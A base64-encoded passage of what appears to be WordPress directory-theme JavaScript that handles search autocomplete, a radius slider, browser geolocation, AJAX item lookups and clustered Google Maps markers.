G1hcERpdi5oZWlnaHQoKSAvIDI7CglzcGlubmVyRGl2LmNzcygndG9wJyx0b3BQb3NpdGlvbisncHgnKS5mYWRlSW4oKTsKCWlmIChkaXNhYmxlU3VibWl0KSB7CgkJc2VhcmNoU3VibWl0LmF0dHIoJ2Rpc2FibGVkJywgdHJ1ZSk7Cgl9Cn0KCmZ1bmN0aW9uIGhpZGVMb2FkaW5nKCkgewoJc3Bpbm5lckRpdi5mYWRlT3V0KCk7CglzZWFyY2hTdWJtaXQuYXR0cignZGlzYWJsZWQnLCBmYWxzZSk7Cn0KCi8vIHNldCBpbnRlcmFjdGl2ZSBzZWFyY2gKaWYoc2VhcmNoLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpewoJc2VhcmNoSW5wdXQudHlwZVdhdGNoKHsKCQljYWxsYmFjazogZnVuY3Rpb24oKSB7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0sCgkJd2FpdDogNTAwLAoJCWhpZ2hsaWdodDogZmFsc2UsCgkJY2FwdHVyZUxlbmd0aDogMAoJfSk7CgoJY2F0ZWdvcnlJbnB1dC5vbigiYXV0b2NvbXBsZXRlc2VsZWN0IiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlLHVpLml0ZW0udmFsdWUsZmFsc2UpOwoJfSk7Cglsb2NhdGlvbklucHV0Lm9uKCJhdXRvY29tcGxldGVzZWxlY3QiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UsZmFsc2UsdWkuaXRlbS52YWx1ZSk7Cgl9KTsKCWNhdGVnb3J5SW5wdXQub24oImF1dG9jb21wbGV0ZWNsb3NlIiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlpZigkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkJykudmFsKCkgPT0gJzAnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoJfSk7Cglsb2NhdGlvbklucHV0Lm9uKCJhdXRvY29tcGxldGVjbG9zZSIsIGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJaWYoJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCcpLnZhbCgpID09ICcwJyl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCX0pOwp9CgokKCcjZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIC5pY29uJykuY2xpY2soZnVuY3Rpb24oKSB7CgkkKCcjZGlyLXNlYXJjaC1hZHZhbmNlZCcpLnRvZ2dsZSgpOwp9KTsKCiQoJyNkaXItc2VhcmNoLWFkdmFuY2VkLWNsb3NlJykuY2xpY2soZnVuY3Rpb24oKSB7CgkkKCcjZGlyLXNlYXJjaC1hZHZhbmNlZCcpLmhpZGUoKTsKfSk7CgokKCcjZGlyLXNlYXJjaC1hZHZhbmNlZCAudmFsdWUtc2xpZGVyJykuc2xpZGVyKHsKCXZhbHVlOiBnZW9JbnB1dFJhZGl1cy52YWwoKSwKCW1pbjogMSwKCW1heDogMzAwLAoJc3RlcDogMSwKCWNoYW5nZTogZnVuY3Rpb24oZXZlbnQsIHVpKSB7CgkJaWYoc2VhcmNoLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycgJiYgZ2VvSW5wdXQuaXMoJzpjaGVja2VkJykpewoJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQl9Cgl9LAoJc2xpZGU6IGZ1bmN0aW9uKGV2ZW50LCB1aSkgewoJCWdlb0lucHV0UmFkaXVzLnZhbCh1aS52YWx1ZSk7Cgl9Cn0pOwoKLy8gR2VvbG9jYXRpb24KCmdlb0lucHV0LkZhbmN5Q2hlY2tib3goKTsKCmZ1bmN0aW9uIGVuYWJsZUdlbygpIHsKCWdlb0lucHV0LmF0dHIoJ2NoZWNrZWQnLCB0cnVlKTsKCWdlb0lucHV0Lm5leHQoKS5yZW1vdmVDbGFzcygnb2ZmJykuYWRkQ2xhc3MoJ29uJyk7Cn0KCmZ1bmN0aW9uIGRpc2FibGVHZW8oKSB7CglnZW9JbnB1dC5hdHRyKCdjaGVja2VkJywgZmFsc2UpOwoJZ2VvSW5wdXQubmV4dCgpLnJlbW92ZUNsYXNzKCdvbicpLmFkZENsYXNzKCdvZmYnKTsKfQoKCWlmKGdlb0lucHV0LmlzKCI6Y2hlY2tlZCIpKSB7CgoJCS8vIGVuYWJsZSBhZnRlciB1c2VyIGFsbG93IGdlb2xvY2F0aW9uCgkJZGlzYWJsZUdlbygpOwoJCXNob3dMb2FkaW5nKHRydWUpOwoKCQlpZiAobmF2aWdhdG9yLmdlb2xvY2F0aW9uKSB7CgkJCW5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oZnVuY3Rpb24ocG9zaXRpb24pIHsKCgkJCQlnZW9JbnB1dExhdC52YWwocG9zaXRpb24uY29vcmRzLmxhdGl0dWRlKTsKCQkJCWdlb0lucHV0TG5nLnZhbChwb3NpdGlvbi5jb29yZHMubG9uZ2l0dWRlKTsKCgkJCQllbmFibGVHZW8oKTsKCgkJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCgkJCX0sIGZ1bmN0aW9uKGVycm9yKXsKCQkJCWRpc2FibGVHZW8oKTsKCQkJCWhpZGVMb2FkaW5nKCk7CgkJCX0pOwoJCX0gZWxzZSB7CgkJCWRpc2FibGVHZW8oKTsKCQkJaGlkZUxvYWRpbmcoKTsKCQl9CgoJfQoKZ2VvSW5wdXQub24oImNoYW5nZSIsZnVuY3Rpb24oZXZlbnQpIHsKCglpZihnZW9JbnB1dC5pcygiOmNoZWNrZWQiKSkgewoKCQkvLyBlbmFibGUgYWZ0ZXIgdXNlciBhbGxvdyBnZW9sb2NhdGlvbgoJCWRpc2FibGVHZW8oKTsKCQlzaG93TG9hZGluZyh0cnVlKTsKCgkJaWYgKG5hdmlnYXRvci5nZW9sb2NhdGlvbikgewoJCQluYXZpZ2F0b3IuZ2VvbG9jYXRpb24uZ2V0Q3VycmVudFBvc2l0aW9uKGZ1bmN0aW9uKHBvc2l0aW9uKSB7CgoJCQkJZ2VvSW5wdXRMYXQudmFsKHBvc2l0aW9uLmNvb3Jkcy5sYXRpdHVkZSk7CgkJCQlnZW9JbnB1dExuZy52YWwocG9zaXRpb24uY29vcmRzLmxvbmdpdHVkZSk7CgoJCQkJZW5hYmxlR2VvKCk7CgoJCQkJaWYoc2VhcmNoLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpewoJCQkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCQkJfSBlbHNlIHsKCQkJCQloaWRlTG9hZGluZygpOwoJCQkJfQoKCQkJfSwgZnVuY3Rpb24oZXJyb3IpewoJCQkJZGlzYWJsZUdlbygpOwoJCQkJaGlkZUxvYWRpbmcoKTsKCQkJfSk7CgkJfSBlbHNlIHsKCQkJZGlzYWJsZUdlbygpOwoJCQloaWRlTG9hZGluZygpOwoJCX0KCgl9IGVsc2UgewoKCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCgl9Cgp9KTsKCmZ1bmN0aW9uIGFqYXhHZXRNYXJrZXJzKGFqYXgsZ2VvbG9jLHJld3JpdGVDYXRlZ29yeSxyZXdyaXRlTG9jYXRpb24scmVzZXQpIHsKCglzaG93TG9hZGluZygpOwoKCXJhZGl1cyA9IG5ldyBBcnJheSgpOwoKCXZhciBjYXRlZ29yeSA9IDA7Cgl2YXIgbG9jYXRpb24gPSAwOwoJdmFyIHNlYXJjaCA9ICcnOwoJdmFyIGxvY2FsZSA9ICdlbic7CgoJaWYoYWpheCl7CgkJaWYocmV3cml0ZUNhdGVnb3J5KXsKCQkJY2F0ZWdvcnkgPSByZXdyaXRlQ2F0ZWdvcnk7CgkJfSBlbHNlIHsKCQkJY2F0ZWdvcnkgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkJykudmFsKCk7CgkJfQoJCWlmKHJld3JpdGVMb2NhdGlvbil7CgkJCWxvY2F0aW9uID0gcmV3cml0ZUxvY2F0aW9uOwoJCX0gZWxzZSB7CgkJCWxvY2F0aW9uID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCcpLnZhbCgpOwoJCX0KCQlzZWFyY2ggPSAkKCcjZGlyLXNlYXJjaGlucHV0LXRleHQnKS52YWwoKTsKCgkJdmFyIGFqYXhHZW8gPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLmF0dHIoImNoZWNrZWQiKTsKCgkJaWYoYWpheEdlbyAmJiAhcmVzZXQpewoJCQl2YXIgaW5wdXRSYWRpdXMgPSBnZW9JbnB1dFJhZGl1cy52YWwoKTsKCQkJaWYoIWlzTmFOKGlucHV0UmFkaXVzKSl7CgkJCQlyYWRpdXMucHVzaChwYXJzZUludChpbnB1dFJhZGl1cykpOwoJCQl9IGVsc2UgewoJCQkJZ2VvSW5wdXRSYWRpdXMudmFsKGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSk7CgkJCQlyYWRpdXMucHVzaChwYXJzZUludChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpKTsKCQkJfQoJCQlyYWRpdXMucHVzaChwYXJzZUZsb2F0KGdlb0lucHV0TGF0LnZhbCgpKSk7CgkJCXJhZGl1cy5wdXNoKHBhcnNlRmxvYXQoZ2VvSW5wdXRMbmcudmFsKCkpKTsKCQl9Cgl9IGVsc2UgewoJCWlmKHJlc2V0KXsKCQkJY2F0ZWdvcnkgPSBwYXJzZUludChtYXBEaXYuZGF0YSgnY2F0ZWdvcnknKSk7CgkJCWxvY2F0aW9uID0gcGFyc2VJbnQobWFwRGl2LmRhdGEoJ2xvY2F0aW9uJykpOwoJCQlzZWFyY2ggPSBtYXBEaXYuZGF0YSgnc2VhcmNoJyk7CgkJfSBlbHNlIHsKCQkJaWYoZ2VvbG9jKXsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KCkpOwoJCQkJcmFkaXVzLnB1c2goZ2VvbG9jLmxhdCgpKTsKCQkJCXJhZGl1cy5wdXNoKGdlb2xvYy5sbmcoKSk7CgoJCQkJY2F0ZWdvcnkgPSBwYXJzZUludChtYXBEaXYuZGF0YSgnY2F0ZWdvcnknKSk7CgkJCQlsb2NhdGlvbiA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdsb2NhdGlvbicpKTsKCQkJCXNlYXJjaCA9IG1hcERpdi5kYXRhKCdzZWFyY2gnKTsKCQkJfQoJCX0KCX0KCS8vIGdldCBpdGVtcyBmcm9tIGFqYXgKCSQucG9zdCgKCQkvLyBNeUFqYXggZGVmaW5lZCBpbiBmdW5jdGlvbnMucGhwCgkJTXlBamF4LmFqYXh1cmwsCgkgICAgewoJICAgICAgICBhY3Rpb24gOiAnZ2V0X2l0ZW1zJywKCSAgICAgICAgY2F0ZWdvcnkgOiBjYXRlZ29yeSwKCSAgICAgICAgbG9jYXRpb24gOiBsb2NhdGlvbiwKCSAgICAgICAgc2VhcmNoIDogc2VhcmNoLAoJICAgICAgICByYWRpdXMgOiByYWRpdXMsCgkgICAgICAgIHdwbWxfbGFuZyA6IGxvY2FsZQoJICAgIH0sCgkgICAgZnVuY3Rpb24oIHJlc3BvbnNlICkgewoJICAgIAkvLyBzaG93IHJlc2V0IGFqYXggYnV0dG9uCgkgICAgCWlmKCghcmVzZXQpICYmICghZ2VvbG9jKSAmJiAoJCgnI2RpcmVjdG9yeS1zZWFyY2gnKS5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnKSl7CgkgICAgCQkkKCcjZGlyZWN0b3J5LXNlYXJjaCAucmVzZXQtYWpheCcpLnNob3coKTsKCSAgICAJfQoJICAgIAlpZihhamF4R2VvICYmICFyZXNldCl7CgkgICAgCQl2YXIgYWpheEdlb09iaiA9IG5ldyBnb29nbGUubWFwcy5MYXRMbmcocGFyc2VGbG9hdChnZW9JbnB1dExhdC52YWwoKSkscGFyc2VGbG9hdChnZW9JbnB1dExuZy52YWwoKSkpOwoJICAgIAkJZ2VuZXJhdGVNYXJrZXJzKHJlc3BvbnNlLGFqYXhHZW9PYmosdHJ1ZSk7CgkgICAgCX0gZWxzZSB7CgkgICAgCQlnZW5lcmF0ZU1hcmtlcnMocmVzcG9uc2UsZ2VvbG9jKTsKCSAgICAJfQoJICAgIH0KCSkKCS5mYWlsKGZ1bmN0aW9uKGUpIHsgY29uc29sZS5sb2coIkFKQVggRVJST1IiLCBlKTsgfSk7Cn0KCmZ1bmN0aW9uIGdlbmVyYXRlTWFya2VycyhkYXRhUmF3LGdlb2xvYyxhamF4R2VvKSB7CgoJLy8gY2xlYXIgbWFwCglpbmZvYm94LmNsb3NlKCk7CgltYXBEaXYuZ21hcDMoeyBjbGVhcjogeyB9IH0pOwoKCW1hcC5zZXRab29tKDEwKTsKCgl2YXIgbGVuID0gJC5tYXAoZGF0YVJhdywgZnVuY3Rpb24obiwgaSkgeyByZXR1cm4gaTsgfSkubGVuZ3RoOwoKCXZhciBpID0gMDsKCS8vIHByZXBhcmUgZGF0YQoJdmFyIGRhdGEgPSBuZXcgQXJyYXkoKTsKCWZvcih2YXIga2V5IGluIGRhdGFSYXcpewoJCWlmICghKGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMYXRpdHVkZSddID09ICIwIiAmJiBkYXRhUmF3W2tleV0ub3B0aW9uc0RpclsnZ3BzTG9uZ2l0dWRlJ10gPT0gIjAiKSkgewoJCQl2YXIgcmF0aW5nID0gJyc7CgkJCWlmKGRhdGFSYXdba2V5XS5yYXRpbmcpewoJCQkJcmF0aW5nICs9ICc8ZGl2IGNsYXNzPSJyYXRpbmciPic7CgkJCQlmb3IgKHZhciBqID0gMTsgaiA8PSBkYXRhUmF3W2tleV0ucmF0aW5nWydtYXgnXTsgaisrKSB7CgkJCQkJcmF0aW5nICs9ICc8ZGl2IGNsYXNzPSJzdGFyJzsKCQkJCQlpZihqIDw9IGRhdGFSYXdba2V5XS5yYXRpbmdbJ3ZhbCddKSB7CgkJCQkJCXJhdGluZyArPSAnIGFjdGl2ZSc7CgkJCQkJfQoJCQkJCXJhdGluZyArPSAnIj48L2Rpdj4nOwoJCQkJfQoJCQkJcmF0aW5nICs9ICc8L2Rpdj4nOwoJCQl9CgoJCQl2YXIgdGh1bWJDb2RlID0gKGRhdGFSYXdba2V5XS50aW10aHVtYlVybCkgPyAnIHdpdGgtaW1hZ2UiPjxpbWcgc3JjPSInK2RhdGFSYXdba2V5XS50aW10aHVtYlVybCsnIiBhbHQ9IiIgLz4nIDogJyI+JzsKCQkJZGF0YVtpXSA9IHsKCQkJCWxhdExuZzogW2RhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMYXRpdHVkZSddLGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMb25naXR1ZGUnXV0sCgkJCQlvcHRpb25zOiB7CgkJCQkJaWNvbjogZGF0YVJhd1trZXldLm1hcmtlciwKCQkJCQlzaGFkb3c6ICJodHRwOi8vZGVtbzEwMC5nb2xkd2ViLmJpei93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJfSwKCQkJCWRhdGE6ICc8ZGl2IGNsYXNzPSJtYXJrZXItaG9sZGVyIj48ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCcrdGh1bWJDb2RlKyc8ZGl2IGNsYXNzPSJtYXAtaXRlbS1pbmZvIj48ZGl2IGNsYXNzPSJ0aXRsZSI+JytkYXRhUmF3W2tleV0ucG9zdF90aXRsZSsnPC9kaXY+JytyYXRpbmcrJzxkaXYgY2xhc3M9ImFkZHJlc3MiPicrZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbImFkZHJlc3MiXSsnPC9kaXY+PGEgaHJlZj0iJytkYXRhUmF3W2tleV0ubGluaysnIiBjbGFzcz0ibW9yZS1idXR0b24iPlZJRVcgTU9SRTwvYT48L2Rpdj48ZGl2IGNsYXNzPSJhcnJvdyI+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+JwoJCQl9OwoJCQlpKys7CgkJfQogICAgfQoKICAgIC8vIHNob3cgZ2VvbG9jIG1hcmtlcgogICAgaWYoZ2VvbG9jKXsKICAgIAltYXBEaXYuZ21hcDMoewoJCQltYXJrZXI6IHsKICAgIAkJCWxhdExuZzogZ2VvbG9jLAogICAgCQkJb3B0aW9uczogewogICAgCQkJCWFuaW1hdGlvbjogZ29vZ2xlLm1hcHMuQW5pbWF0aW9uLkRST1AsCiAgICAJCQkJekluZGV4OiAxMDAwLAogICAgCQkJCWljb246ICJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2dlb2xvY2F0aW9uLXBpbi5wbmciCiAgICAJCQl9CiAgICAJCX0KICAgIAl9KTsKCX0KCgkvLyBnZW5lcmF0ZSBtYXJrZXJzIGluIG1hcAoJdmFyIG1hcE9iaiA9IHsKCQltYXJrZXI6IHsKCQkJdmFsdWVzOiBkYXRhLAoJCQlvcHRpb25zOnsKCQkJCWRyYWdnYWJsZTogZmFsc2UKCQkJfSwKCQkJY2x1c3Rlcjp7CgkJCQlyYWRpdXM6IDIwLAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDAgbWFya2VycwoJCQkJMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMSc+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMjAgbWFya2VycwoJCQkJMjA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTInPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDUwIG1hcmtlcnMKCQkJCTUwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0zJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCWV2ZW50czogewoJCQkJCWNsaWNrOiBmdW5jdGlvbihjbHVzdGVyKSB7CgkJCQkJCW1hcC5wYW5UbyhjbHVzdGVyLm1haW4uZ2V0UG9zaXRpb24oKSk7CgkJCQkJCW1hcC5zZXRab29tKG1hcC5nZXRab29tKCkgKyAyKTsKCQkJCQl9CgkJCQl9CiAgICAgICAgICAJfSwKCQkJZXZlbnRzOiB7CgkJCQljbGljazogZnVuY3Rpb24obWFya2VyLCBldmVudCwgY29udGV4dCl7CgkJCQkJbWFwLnBhblRvKG1hcmtlci5nZXRQb3NpdGlvbigpKTsKCgkJCQkJaW5mb2JveC5zZXRDb250ZW50KGNvbnRleHQuZGF0YSk7CgkJCQkJaW5mb2JveC5vcGVuKG1hcCxtYXJrZXIpOwoKCQkJCQkvLyBpZiBtYXAgaXMgc21hbGwKCQkJCQl2YXIgaVdpZHRoID0gMjYwOwoJCQkJCXZhciBpSGVpZ2h0ID0gMzAwOwoJCQkJCWlmKChtYXBEaXYud2lkdGgoKSAvIDIpIDwgaVdpZHRoICl7CgkJCQkJCXZhciBvZmZzZXRYID0gaVdpZHRoIC0gKG1hcERpdi53aWR0aCgpIC8gMik7CgkJCQkJCW1hcC5wYW5CeShvZmZzZXRYLDApOwoJCQkJCX0KCQkJCQlpZigobWFwRGl2LmhlaWdodCgpIC8gMikgPCBpSGVpZ2h0ICl7CgkJCQkJCXZhciBvZmZzZXRZID0gLShpSGVpZ2h0IC0gKG1hcERpdi5oZWlnaHQoKSAvIDIpKTsKCQkJCQkJbWFwLnBhbkJ5KDAsb2Zmc2V0WSk7CgkJCQkJfQoKCQkJCX0KCQkJfQoJCX0KCX07CgoJaWYoZ2VvbG9jKXsKCQlpZihhamF4R2VvKXsKCQkJdmFyIGlucHV0UmFkaXVzID0gZ2VvSW5wdXRSYWRpdXMudmFsKCk7CgkJCWlmKCFpc05hTihpbnB1dFJhZGl1cykpewoJCQkJdmFyIHJhZGl1c0luTSA9IHBhcnNlSW50KGdlb0lucHV0UmFkaXVzLnZhbCgpKSAqIDEwMDA7CgkJCX0gZWxzZSB7CgkJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKSAqIDEwMDA7CgkJCX0KCQkJLy8gYXV0b2ZpdCBieSBjaXJjbGUKCQkJbWFwT2JqLmNpcmNsZSA9IHsKCQkJCW9wdGlvbnM6IHsKCQkJCQljZW50ZXI6IGdlb2xvYywKCQkJCQlyYWRpdXMgOiByYWRpdXNJbk0sCgkJCQkJdmlzaWJsZSA6IHRydWUsCgkJCQkJZmlsbE9wYWNpdHkgOiAwLjE1LAoJCQkJCWZpbGxDb2xvciA6ICIjMmM4MmJlIiwKCQkJCQlzdHJva2VDb2xvciA6ICIjMmM4MmJlIgoJCQkJfQoJCQl9CgkJfSBlbHNlIHsKCQkJdmFyIHJhZGl1c0luTSA9IHBhcnNlSW50KCkgKiAxMDAwOwoJCQkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJCQltYXBPYmouY2lyY2xlID0gewoJCQkJb3B0aW9uczogewoJCQkJCWNlbnRlcjogZ2VvbG9jLAoJCQkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJCQl2aXNpYmxlIDogZmFsc2UsCgkJCQkJZmlsbE9wYWNpdHkgOiAwLjE1LAoJCQkJCWZpbGxDb2xvciA6ICIjMmM4MmJlIiwKCQkJCQlzdHJva2VDb2xvciA6ICIjMmM4MmJlIgoJCQkJfQoJCQl9CgkJfQoJfQoKCWhpZGVMb2FkaW5nKCk7CgoJbWFwRGl2LmdtYXAzKCBtYXBPYmosICJhdXRvZml0IiApOwoKCWlmKGxlbiA9PSAxICYmICFnZW9sb2MpewoJCW1hcC5zZXRab29tKDEwKTsKCX0KCn0KCmZ1bmN0aW9uIGdlbmVyYXRlT25seUdlbyhsYXQsbG5nLHJhZGl1cykgewoJdmFyIGdlb2xvYyA9IG5ldyBnb29nbGUubWFwcy5MYXRMbmcocGFyc2VGbG9hdChsYXQpLHBhcnNlRmxvYXQobG5nKSk7CgkvLyBnZW5lcmF0ZSBnZW8gcGluCgltYXBEaXYuZ21hcDMoewoJCW1hcmtlcjogewoJCQlsYXRMbmc6IGdlb2xvYywKCQkJb3B0aW9uczogewoJCQkJYW5pbWF0aW9uOiBnb29nbGUubWFwcy5BbmltYXRpb24uRFJPUCwKCQkJCXpJbmRleDogMTAwMCwKCQkJCWljb246ICJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2dlb2xvY2F0aW9uLXBpbi5wbmciCgkJCX0KCQl9Cgl9KTsKCS8vIGdlbmVyYXRlIGFuZCBhdXRvZml0IGJ5IGNpcmNsZQoJdmFyIG1hcE9iaiA9IHt9OwoJdmFyIHJhZGl1c0luTSA9IHBhcnNlSW50KHJhZGl1cykgKiAxMDAwOwoJLy8gYXV0b2ZpdCBieSBjaXJjbGUKCW1hcE9iai5jaXJjbGUgPSB7CgkJb3B0aW9uczogewoJCQljZW50ZXI6IGdlb2xvYywKCQkJcmFkaXVzIDogcmFkaXVzSW5NLAoJCQl2aXNpYmxlIDogdHJ1ZSwKCQkJZmlsbE9wYWNpdHkgOiAwLjE1LAoJCQlmaWxsQ29sb3IgOiAiIzJjODJiZSIsCgkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJfQoJfQoJbWFwRGl2LmdtYXAzKCBtYXBPYmosICJhdXRvZml0IiApOwp9Cgp2YXIgY29udGVudERpdiA9ICQoJyNtYWluICNjb250ZW50Jyk7CnZhciBjdXJyQ29udGVudCA9IGNvbnRlbnREaXYuaHRtbCgpOwp2YXIgYWpheENvbnRlbnQ7CgpmdW5jdGlvbiBnZW5lcmF0ZUNvbnRlbnQoZGF0YSkgewoKCXZhciBsZW5ndGggPSAkLm1hcChkYXRhLCBmdW5jdGlvbihuLCBpKSB7IHJldHVybiBpOyB9KS5sZW5ndGg7CgoJY29udGVudERpdi5maW5kKCcuYWpheC1jb250ZW50JykucmVtb3ZlKCk7Cgl2YXIgdGl0bGU7CglpZihsZW5ndGggPT0gMCl7CgkJdGl0bGUgPSAkKCc8aGVhZGVyIGNsYXNzPSJlbnRyeS1oZWFkZXIiPjwvaGVhZGVyPicpOwoJfSBlbHNlIHsKCQl0aXRsZSA9ICQoJzxoZWFkZXIgY2xhc3M9ImVudHJ5LWhlYWRlciI+PC9oZWFkZXI+Jyk7Cgl9CgoJdmFyIGh0bWw7CglpZihsZW5ndGggPiAwKXsKCQlodG1sID0gJCgnPHVsIGNsYXNzPSJpdGVtcyI+PC91bD4nKTsKCX0KCXZhciBsaW1pdCA9IDMwOwoJaWYobGltaXQgPiBsZW5ndGgpIHsKCQlsaW1pdCA9IGxlbmd0aDsKCX0KCXZhciBpID0gMDsKCWZvcih2YXIga2V5IGluIGRhdGEpewoJCXZhciB0aHVtYm5haWxIdG1sOwoJCWlmKGRhdGFba2V5XS50aW10aHVtYlVybENvbnRlbnQpewoJCQl2YXIgdGh1bWJuYWlsSHRtbCA9ICc8ZGl2IGNsYXNzPSJ0aHVtYm5haWwiPjxpbWcgc3JjPSInK2RhdGFba2V5XS50aW10aHVtYlVybENvbnRlbnQrJyIgYWx0PSJJdGVtIHRodW1ibmFpbCIgLz48ZGl2IGNsYXNzPSJjb21tZW50LWNvdW50Ij4nK2RhdGFba2V5XS5jb21tZW50X2NvdW50Kyc8L2Rpdj48L2Rpdj4nOwoJCX0gZWxzZSB7CgkJCXRodW1ibmFpbEh0bWwgPSAnJzsKCQl9CgkJdmFyIHJhdGluZyA9ICcnOwoJCWlmKGRhdGFba2V5XS5yYXRpbmcpewoJCQlyYXRpbmcgKz0gJzxzcGFuIGNsYXNzPSJyYXRpbmciPic7CgkJCWZvciAodmFyIGkgPSAxOyBpIDw9IGRhdGFba2V5XS5yYXRpbmdbJ21heCddOyBpKyspIHsKCQkJCXJhdGluZyArPSAnPHNwYW4gY2xhc3M9InN0YXInOwoJCQkJaWYoaSA8PSBkYXRhW2tleV0ucmF0aW5nWyd2YWwnXSkgewoJCQkJCXJhdGluZyArPSAnIGFjdGl2ZSc7CgkJCQl9CgkJCQlyYXRpbmcgKz0gJyI+PC9zcGFuPic7CgkJCX0KCQkJcmF0aW5nICs9ICc8L3NwYW4+JzsKCQl9CgkJdmFyIGRlc2NyaXB0aW9uSHRtbCA9ICc8ZGl2IGNsYXNzPSJkZXNjcmlwdGlvbiI+JytkYXRhW2tleV0uZXhjZXJwdERpcisnPC9kaXY+JzsKCQlodG1sLmFwcGVuZCgnPGxpIGNsYXNzPSJpdGVtIGNsZWFyIj4nK3RodW1ibmFpbEh0bWwrZGVzY3JpcHRpb25IdG1sKyc8L2xpPicpOwoJCWlmKGkgPD0gbGltaXQpewoJCQlpKys7CgkJfSBlbHNlIHsKCQkJYnJlYWs7CgkJfQoJfTsKCWFqYXhDb250ZW50ID0gJCgnPGRpdiBjbGFzcz0iYWpheC1jb250ZW50Ij48L2Rpdj4nKS5odG1sKHRpdGxlKS5hcHBlbmQoaHRtbCk7Cgljb250ZW50RGl2LmZpbmQoJz4nKS5oaWRlKCk7Cgljb250ZW50RGl2LmFwcGVuZChhamF4Q29udGVudCk7Cn0KCi8vIHJlc2V0IHNlYXJjaCBhamF4IHZhbHVlcwokKCcjZGlyZWN0b3J5LXNlYXJjaCAucmVzZXQtYWpheCcpLmNsaWNrKGZ1bmN0aW9uICgpIHsKCgkvLyBnZXQgZGVmYXVsdCB2YWx1ZXMKCWFqYXhHZXRNYXJrZXJzKGZhbHNlLGZhbHNlLGZhbHNlLGZhbHNlLHRydWUpOwoKCgkkKCcjZGlyLXNlYXJjaGlucHV0LXRleHQnKS52YWwoIiIpOwoJLy8gZm9yIElFCgkkKCdzcGFuLmZvci1kaXItc2VhcmNoaW5wdXQtdGV4dCBsYWJlbCcpLnNob3coKTsKCgkkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uJykudmFsKCIiKTsKCSQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQnKS52YWwoIjAiKTsKCS8vIGZvciBJRQoJJCgnc3Bhbi5mb3ItZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5IGxhYmVsJykuc2h